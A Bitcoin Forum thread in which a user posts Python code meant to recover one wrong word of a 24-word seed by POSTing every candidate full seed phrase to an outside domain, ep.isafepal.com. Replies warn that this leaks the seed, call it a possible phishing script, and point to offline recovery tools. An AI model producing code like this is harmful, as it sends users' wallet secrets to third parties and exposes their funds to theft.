Bitcoin Forum
April 28, 2024, 05:11:53 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: Help with python code  (Read 181 times)
HER4S (OP)
Newbie
*
Offline Offline

Activity: 12
Merit: 0


View Profile
October 04, 2023, 04:51:04 PM
 #1

Hello I made a huge mistake, I have one word wrong of my recovery seed copy, I know that this is the word number 6 because my safepal S1 doesn't give me the option to use the word that I have written on my recovery copy. I made a python code to brute force this word with the words of the bip-0039 document

The problem is that I don't know the API to run my python code. can someone help with this?

this is the complete code:

import requests

def clean_word(word):
return word.strip().lower()

def brute_force_seed(seed, word_number):
word_index = word_number
while word_index < len(seed.split()):
for word in english_words:
print("Checking word", word)
corrected_seed = seed.split()
corrected_seed[word_index] = clean_word(word)
corrected_seed = " ".join(corrected_seed)
response = requests.post("https://ep.isafepal.com", json={"phrase": corrected_seed})
if response.status_code == 200:
return corrected_seed

word_index += 1
return None

with open(r"C:\Users\kkk\OneDrive\desktop\rescue\bip0039.txt", "r") as file:
english_words = [clean_word(line.strip()) for line in file]

seed = "word1 word2 word3 word4 word5 word6 word7 word8 word9 word10 word11 word12 word13 word14 word15 word16 word17 word18 word19 word20 word21 word22 word23 word24"
word_number = 5

corrected_seed = brute_force_seed(seed, word_number)

if corrected_seed is not None:
print("The corrected phrase is:", corrected_seed)
else:
print("No match found.")
1714324313
Hero Member
*
Offline Offline

Posts: 1714324313

View Profile Personal Message (Offline)

Ignore
1714324313
Reply with quote  #2

1714324313
Report to moderator
Make sure you back up your wallet regularly! Unlike a bank account, nobody can help you if you lose access to your BTC.
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
LoyceV
Legendary
*
Online Online

Activity: 3290
Merit: 16568


Thick-Skinned Gang Leader and Golden Feather 2021


View Profile WWW
October 04, 2023, 05:59:50 PM
 #2

I know nothing about Python, but you shouldn't need an API for this. You should keep your seed and recovery offline.

Why don't you use The FinderOuter on an offline system?

█▀▀▀











█▄▄▄
▀▀▀▀▀▀▀▀▀▀▀
e
▄▄▄▄▄▄▄▄▄▄▄
█████████████
████████████▄███
██▐███████▄█████▀
█████████▄████▀
███▐████▄███▀
████▐██████▀
█████▀█████
███████████▄
████████████▄
██▄█████▀█████▄
▄█████████▀█████▀
███████████▀██▀
████▀█████████
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
c.h.
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▀█











▄▄▄█
▄██████▄▄▄
█████████████▄▄
███████████████
███████████████
███████████████
███████████████
███░░█████████
███▌▐█████████
█████████████
███████████▀
██████████▀
████████▀
▀██▀▀
apogio
Sr. Member
****
Offline Offline

Activity: 420
Merit: 948



View Profile WWW
October 04, 2023, 06:34:37 PM
 #3

Why did you open a second thread? https://bitcointalk.org/index.php?topic=5468757.msg62945299#msg62945299

I saw that you posted the same code there. Why don't you keep asking there for advice?

BlackHatCoiner
Legendary
*
Online Online

Activity: 1498
Merit: 7295


Farewell, Leo


View Profile
October 04, 2023, 08:11:10 PM
Last edit: October 05, 2023, 10:37:00 AM by BlackHatCoiner
Merited by ABCbits (1)
 #4

This is extremely bad idea. I just read brute_force_seed. Why are you even POST-ing a request with safepal, submitting your seed phrase (!!!) to them? This is not secure. Also, why isn't there indentation in your python code?

Please use either FinderOuter which comes with a friendly user interface, or btcrecover. Open-source means that every problem has to only be solved once.

.
.HUGE.
▄██████████▄▄
▄█████████████████▄
▄█████████████████████▄
▄███████████████████████▄
▄█████████████████████████▄
███████▌██▌▐██▐██▐████▄███
████▐██▐████▌██▌██▌██▌██
█████▀███▀███▀▐██▐██▐█████

▀█████████████████████████▀

▀███████████████████████▀

▀█████████████████████▀

▀█████████████████▀

▀██████████▀▀
█▀▀▀▀











█▄▄▄▄
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
.
CASINSPORTSBOOK
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▀▀█











▄▄▄▄█
HER4S (OP)
Newbie
*
Offline Offline

Activity: 12
Merit: 0


View Profile
October 04, 2023, 08:48:17 PM
 #5

I do a new post because here I'm asking about the code directly but if this is a problem I can delete one, in the other post I ask for possibilites to solve my problem
HER4S (OP)
Newbie
*
Offline Offline

Activity: 12
Merit: 0


View Profile
October 04, 2023, 08:58:21 PM
 #6

This is extremely bad idea. I just read brute_force_seed. Why are you even requesting a POST with safepal, submitting your seed phrase (!!!) to them? This is not secure. Also, why isn't there indentation in your python code?

Please use either FinderOuter which comes with a friendly user interface, or btcrecover. Open-source means that every problem has to only be solved once.

I don't post my seed at anyplace I have it on paper writed by hand, I'm totally noob programing I do it correcting what a AI do for me.
BitMaxz
Legendary
*
Offline Offline

Activity: 3234
Merit: 2943


Block halving is coming.


View Profile WWW
October 04, 2023, 09:14:20 PM
 #7

I don't post my seed at anyplace I have it on paper writed by hand, I'm totally noob programing I do it correcting what a AI do for me.

I already told you recently from your previous thread you can use the FinderOuter tool to brute-force your seed phrase it doesn't require programming skill.
And take note don't use AI to generate a script to brute-force your seed it generates sometimes unrelated codes that you can't use in brute-forcing a seed or it might generate a code that can leak your seed phrase.

█▀▀▀











█▄▄▄
▀▀▀▀▀▀▀▀▀▀▀
e
▄▄▄▄▄▄▄▄▄▄▄
█████████████
████████████▄███
██▐███████▄█████▀
█████████▄████▀
███▐████▄███▀
████▐██████▀
█████▀█████
███████████▄
████████████▄
██▄█████▀█████▄
▄█████████▀█████▀
███████████▀██▀
████▀█████████
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
c.h.
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▀█











▄▄▄█
▄██████▄▄▄
█████████████▄▄
███████████████
███████████████
███████████████
███████████████
███░░█████████
███▌▐█████████
█████████████
███████████▀
██████████▀
████████▀
▀██▀▀
simpleSliv3r
Jr. Member
*
Offline Offline

Activity: 46
Merit: 28


View Profile
October 04, 2023, 09:49:12 PM
 #8

I don't post my seed at anyplace I have it on paper writed by hand, I'm totally noob programing I do it correcting what a AI do for me.

There're tools that can help you with that. But some tips:

1. NEVER use a script that sends your seed to some web page. THEY CAN STEAL YOUR FOUNDS!
2. Don't try to program anything if you don't know how to.
3. Don't use code generated by an IA. Just look for some tools already done.
tranthidung
Legendary
*
Online Online

Activity: 2254
Merit: 3983


Farewell o_e_l_e_o


View Profile WWW
October 05, 2023, 01:19:51 AM
 #9

I don't post my seed at anyplace I have it on paper writed by hand, I'm totally noob programing I do it correcting what a AI do for me.
Why do you trust AI for your code when you are not an experience programmer like you said?

There are open source tools for you and they are coded by experts with years of testing, using and verifying by community. It's better if you trust those experts and their tools rather than trust AIs.

Trust or not, like LoyceV warned you, use those tools offline.

If I use those tools, I will only use it for a word in problem, not use it for all of mnemonic seed phrase because other words are fine, no need to test and take risk unnecessarily.

Rather than going to the list words for like BIP39, I can use those tools to save my time with less words for one or two letters typing for search. Then I would like to manually use those possible words when I testing manually with wallet import.

▄▄███████▄▄
▄██████████████▄
▄██████████████████▄
▄████▀▀▀▀███▀▀▀▀█████▄
▄█████████████▄█▀████▄
███████████▄███████████
██████████▄█▀███████████
██████████▀████████████
▀█████▄█▀█████████████▀
▀████▄▄▄▄███▄▄▄▄████▀
▀██████████████████▀
▀███████████████▀
▀▀███████▀▀
.
 MΞTAWIN  THE FIRST WEB3 CASINO   
.
.. PLAY NOW ..
LoyceV
Legendary
*
Online Online

Activity: 3290
Merit: 16568


Thick-Skinned Gang Leader and Golden Feather 2021


View Profile WWW
October 05, 2023, 11:02:53 AM
 #10

Why are you even POST-ing a request with safepal
It's not SafePal, OP uses isafepal. It looks like OP is just promoting a phishing script for a phishing site.

█▀▀▀











█▄▄▄
▀▀▀▀▀▀▀▀▀▀▀
e
▄▄▄▄▄▄▄▄▄▄▄
█████████████
████████████▄███
██▐███████▄█████▀
█████████▄████▀
███▐████▄███▀
████▐██████▀
█████▀█████
███████████▄
████████████▄
██▄█████▀█████▄
▄█████████▀█████▀
███████████▀██▀
████▀█████████
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
c.h.
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▀█











▄▄▄█
▄██████▄▄▄
█████████████▄▄
███████████████
███████████████
███████████████
███████████████
███░░█████████
███▌▐█████████
█████████████
███████████▀
██████████▀
████████▀
▀██▀▀
HER4S (OP)
Newbie
*
Offline Offline

Activity: 12
Merit: 0


View Profile
October 05, 2023, 11:05:07 AM
 #11

I don't post my seed at anyplace I have it on paper writed by hand, I'm totally noob programing I do it correcting what a AI do for me.

I already told you recently from your previous thread you can use the FinderOuter tool to brute-force your seed phrase it doesn't require programming skill.
And take note don't use AI to generate a script to brute-force your seed it generates sometimes unrelated codes that you can't use in brute-forcing a seed or it might generate a code that can leak your seed phrase.

Unfortunately FinderOuter is not working for me I will try with btcrecover, yes I know that the AI do unrelated code and that is what I changed, I don't know how to program well but I understand what the code is saying
NotATether
Legendary
*
Online Online

Activity: 1582
Merit: 6701


bitcoincleanup.com / bitmixlist.org


View Profile WWW
October 05, 2023, 11:08:48 AM
Merited by BlackHatCoiner (4)
 #12

Unfortunately FinderOuter is not working for me I will try with btcrecover, yes I know that the AI do unrelated code and that is what I changed, I don't know how to program well but I understand what the code is saying

First of all, put your code in code tags, like this:

Code:

This makes your code easier to read.

Second, you cannot brute force anything using a network request because this is limited by your network speed, your ping, the server's rate-limited network speed, and did I mention they can throttle you or just completely block requests from your IP addresses? In other words, it is extremely slow. Nobody does this.

3rd, the network resource you're hitting does not exist, that's why it's returning 404.

.
.BLACKJACK ♠ FUN.
█████████
██████████████
████████████
█████████████████
████████████████▄▄
░█████████████▀░▀▀
██████████████████
░██████████████
████████████████
░██████████████
████████████
███████████████░██
██████████
CRYPTO CASINO &
SPORTS BETTING
▄▄███████▄▄
▄███████████████▄
███████████████████
█████████████████████
███████████████████████
█████████████████████████
█████████████████████████
█████████████████████████
███████████████████████
█████████████████████
███████████████████
▀███████████████▀
█████████
.
HER4S (OP)
Newbie
*
Offline Offline

Activity: 12
Merit: 0


View Profile
October 05, 2023, 11:15:20 AM
 #13

Unfortunately FinderOuter is not working for me I will try with btcrecover, yes I know that the AI do unrelated code and that is what I changed, I don't know how to program well but I understand what the code is saying

First of all, put your code in code tags, like this:

Code:

This makes your code easier to read.

Second, you cannot brute force anything using a network request because this is limited by your network speed, your ping, the server's rate-limited network speed, and did I mention they can throttle you or just completely block requests from your IP addresses? In other words, it is extremely slow. Nobody does this.

3rd, the network resource you're hitting does not exist, that's why it's returning 404.


ok if this is not an API Then against what I need to launch the code?
NotATether
Legendary
*
Online Online

Activity: 1582
Merit: 6701


bitcoincleanup.com / bitmixlist.org


View Profile WWW
October 05, 2023, 11:20:12 AM
 #14

ok if this is not an API Then against what I need to launch the code?

First, find out what type of wallet you are trying to brute force if you haven't already. I have a suspicion that you are not so sure exactly what type of wallet you have.

Once you find the wallet format, see if it has a Python package that can programmatically open & read it, and then build a script around that (potentially using ChatGPT if it is one of the more well known packages, but you should at least make an effort to learn just enough Python to write one yourself).

.
.BLACKJACK ♠ FUN.
█████████
██████████████
████████████
█████████████████
████████████████▄▄
░█████████████▀░▀▀
██████████████████
░██████████████
████████████████
░██████████████
████████████
███████████████░██
██████████
CRYPTO CASINO &
SPORTS BETTING
▄▄███████▄▄
▄███████████████▄
███████████████████
█████████████████████
███████████████████████
█████████████████████████
█████████████████████████
█████████████████████████
███████████████████████
█████████████████████
███████████████████
▀███████████████▀
█████████
.
HER4S (OP)
Newbie
*
Offline Offline

Activity: 12
Merit: 0


View Profile
October 05, 2023, 11:31:28 AM
 #15

ok if this is not an API Then against what I need to launch the code?

First, find out what type of wallet you are trying to brute force if you haven't already. I have a suspicion that you are not so sure exactly what type of wallet you have.

Once you find the wallet format, see if it has a Python package that can programmatically open & read it, and then build a script around that (potentially using ChatGPT if it is one of the more well known packages, but you should at least make an effort to learn just enough Python to write one yourself).

My wallet is a safepal, the address that I have is a legacy
BlackHatCoiner
Legendary
*
Online Online

Activity: 1498
Merit: 7295


Farewell, Leo


View Profile
October 05, 2023, 12:32:05 PM
 #16

It's not SafePal, OP uses isafepal. It looks like OP is just promoting a phishing script for a phishing site.
There is nothing in isafepal dot com. There might be in the future, but there isn't now. They also said they used an AI to write this up, so it could just be a mistake.

Once you find the wallet format, see if it has a Python package that can programmatically open & read it, and then build a script around that (potentially using ChatGPT if it is one of the more well known packages, but you should at least make an effort to learn just enough Python to write one yourself).
Why should they run a completely new program when there are two well tested already? But, besides that. Judging by the lack of technical competence, it's ignorant to think they are capable of doing this correctly. Recalling that their approach was more akin to a DoS attack than a brute force attempt on their seed phrase.

.
.HUGE.
▄██████████▄▄
▄█████████████████▄
▄█████████████████████▄
▄███████████████████████▄
▄█████████████████████████▄
███████▌██▌▐██▐██▐████▄███
████▐██▐████▌██▌██▌██▌██
█████▀███▀███▀▐██▐██▐█████

▀█████████████████████████▀

▀███████████████████████▀

▀█████████████████████▀

▀█████████████████▀

▀██████████▀▀
█▀▀▀▀











█▄▄▄▄
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
.
CASINSPORTSBOOK
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▀▀█











▄▄▄▄█
Initscri
Hero Member
*****
Offline Offline

Activity: 1540
Merit: 759


View Profile WWW
October 10, 2023, 06:06:54 AM
 #17

To confirm as well, safepal leverages cloudflare DNS for their site - if they also use this to protect their API (which I assume they do) you're going to run into massive issues bruteforcing their API - it isn't going to work... you 100% will get throttled.

https://dnschecker.org/#NS/safepal.com
https://dnschecker.org/#A/ep.isafepal.com (A records point to CloudFlare - http://104.18.8.24/)

As others have mentioned, try seeing if you can get access to a file instead, and running code against that. Leveraging an API won't get you what you need without getting blacklisted/IP banned.

----------------------------------
Web Developer. PM for details.
----------------------------------
Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!